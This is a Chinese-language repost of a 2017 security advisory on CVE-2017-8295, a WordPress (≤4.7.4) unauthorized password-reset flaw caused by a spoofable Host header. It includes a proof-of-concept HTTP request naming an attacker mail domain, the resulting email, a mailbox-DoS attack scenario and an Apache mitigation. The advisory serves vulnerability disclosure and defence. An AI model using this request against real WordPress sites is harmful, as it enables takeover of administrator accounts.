WordPress曝未经授权的密码重置漏洞(CVE-2017-8295 )

  • 漏洞提交者:Dawid Golunski
  • 漏洞编号:CVE-2017-8295
  • 发布日期:2017-05-03
  • 修订版本:1.0
  • 漏洞危害:中/高

[[190461]]

一、漏洞

WordPress内核<= 4.7.4存在未经授权的密码重置(0day)

二、背景

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。截止2017年2月,Alexa排名前1000万的站点中约有27.5%使用该管理系统。据报道有超过6000万站点使用WordPress进行站点管理或者作为博客系统。

三、介绍

WordPress的重置密码功能存在漏洞,在某些情况下不需要使用之前的身份令牌验证获取密码重置链接。

该攻击可导致攻击者在未经授权的情况下获取用户Wordpress后台管理权限。

四、描述

该漏洞源于WordPress默认使用不可信的数据。当生成一个密码重置邮件时应当是仅发送给与帐户相关联的电子邮件。

从下面的代码片段可以看出,在调用PHP mail()函数前创建了一个From email头

  1. ------[ wp-includes/pluggable.php ]------ 
  2.  
  3. ... 
  4.  
  5. if ( !isset( $from_email ) ) { 
  6.         // Get the site domain and get rid of www. 
  7.         $sitename = strtolower( $_SERVER['SERVER_NAME'] ); 
  8.         if ( substr( $sitename, 0, 4 ) == 'www.' ) { 
  9.                 $sitename = substr( $sitename, 4 ); 
  10.         } 
  11.  
  12.         $from_email = 'wordpress@' . $sitename; 
  13.  
  14. ... 
  15.  
  16. ----------------------------------------- 

正如我们所看到的,Wordpress为了生成重置邮件创建的一个From/Return-Path(发件人/收件人)头,使用SERVER_NAME变量以获取服务器的主机名。

然而,诸如Apache的主流web服务器默认使用由客户端提供的主机名来设置SERVER_NAME变量(参考Apache文档)

由于SERVER_NAME可以进行修改,攻击者可以任意设置该值,例如attackers-mxserver.com

这将导致Wordpress的$from_email变为[email protected],最终导致包含From/Return-Path(发件人/收件人)设置的密码重置邮件发送到了该恶意邮件地址。

至于攻击者可以修改哪那一封电子邮件的头信息,这取决于服务器环境(参考PHP文档)

基于邮件服务器的配置,可能导致被修改过邮件头的恶意收件人/发件人地址的电子邮件发送给WordPress用户。

这使得攻击者能够在不需要进行交互就可以截取本该是需要进行交互才能进行的操作的密码重置邮件。

攻击场景:

如果攻击者知道用户的电子邮件地址。为了让密码重置邮件被服务器拒收,或者无法到达目标地址。他们可以先对用户的电子邮件帐户进行DoS攻击(通过发送多个超过用户磁盘配额的大文件邮件或攻击该DNS服务器)

某些自动回复可能会附加有邮件发送副本

发送多封密码重置邮件给用户,迫使用户对这些没完没了的密码重置邮件进行回复,回复中就包含的密码链接会发送给攻击者。

五、POC

如果攻击者将类似下面的请求发送到默认可通过IP地址访问的Wordpress安装页面(IP-based vhost):

  1. -----[ HTTP Request ]---- 
  2.  
  3. POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 
  4. Host: injected-attackers-mxserver.com 
  5. Content-Type: application/x-www-form-urlencoded 
  6. Content-Length: 56 
  7.  
  8. user_login=admin&redirect_to=&wp-submit=Get+New+Password 
  9.  
  10. ------------------------ 

WordPress将触发管理员账户的密码重置功能

由于修改了主机头,SERVER_NAME变量将被设置为攻击者所选择的主机名,因此Wordpress会将以下电子邮件头信息和正文传递给/usr/bin/sendmail

  1. ------[ resulting e-mail ]----- 
  2.  
  3. Subject: [CompanyX WP] Password Reset 
  4. Return-Path: <wordpress@attackers-mxserver.com> 
  5. From: WordPress <wordpress@attackers-mxserver.com> 
  6. Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com> 
  7. X-Priority: 3 
  8. MIME-Version: 1.0 
  9. Content-Type: text/plain; charset=UTF-8 
  10. Content-Transfer-Encoding: 8bit 

有人请求将以下账户的密码进行重置:

  1. http://companyX-wp/wp/wordpress/ 
  2. Username: admin 

如果是弄错了,直接忽略该邮件就好。重置密码请访问以下地址:

  1. http://companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin%3E 

正如我们看到的,Return-Path, From, 以及Message-ID字段都是攻击者控制的域

通过bash脚本替换/usr/sbin/sendmail以执行头的验证:

  1. #!/bin/bash 
  2. cat > /tmp/outgoing-email 

六、业务影响

在利用成功的基础上,攻击者可重置用户密码并且未经授权获取WordPress账户访问权限。

七、系统影响

WordPress至最新版本4.7.4全部受影响

八、解决方案

目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName执行SERVER_NAME静态值(参考Apache)

九、参考文献

  • https://legalhackers.com
  • https://ExploitBox.io
  • Vendor site:
  • https://wordpress.org
  • http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
  • http://php.net/manual/en/function.mail.php
  • https://tools.ietf.org/html/rfc5321

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/129316.html<

(0)
运维的头像运维
上一篇2025-02-25 13:35
下一篇 2025-02-25 13:37

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注